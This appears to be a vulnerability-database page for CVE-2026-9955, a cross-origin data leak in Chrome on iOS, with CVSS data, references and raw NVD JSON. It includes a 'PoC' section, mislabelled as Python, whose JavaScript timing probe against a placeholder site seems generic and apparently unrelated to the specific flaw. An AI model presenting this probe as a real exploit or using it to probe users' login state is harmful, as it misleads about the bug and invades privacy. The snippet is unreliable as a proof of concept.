CVE-2026-9955

Description

Inappropriate implementation in iOS in Google Chrome on iOS prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on iOS < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for Cross-Origin Data Leakage -->
<html>
<head><title>CVE-2026-9955 PoC</title></head>
<body>
<script>
// Simulate a timing attack or side-channel to leak cross-origin data
function checkLeak() {
    var targetUrl = 'https://target-site.com/private-data';
    var start = performance.now();
    
    // Attempt to fetch cross-origin resource
    fetch(targetUrl, { mode: 'no-cors', credentials: 'include' })
        .then(() => {
            var end = performance.now();
            var duration = end - start;
            
            // Analyze timing differences to infer data
            if (duration > 100) {
                console.log("[+] Data Leak Detected: User is logged in or data exists.");
            } else {
                console.log("[-] No data leak detected.");
            }
        })
        .catch(err => console.error("Error:", err));
}

// Trigger on user interaction as per UI:R
window.addEventListener('click', checkLeak);
</script>
<p>Click anywhere to test for CVE-2026-9955</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9955
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9955
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9955/
[4] VulDB https://vuldb.com/cve/CVE-2026-9955
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/504184408

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9955", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:53.703", "lastModified": "2026-05-29T18:17:16.680", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in iOS in Google Chrome on iOS prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/504184408", "source": "[email protected]"}]}}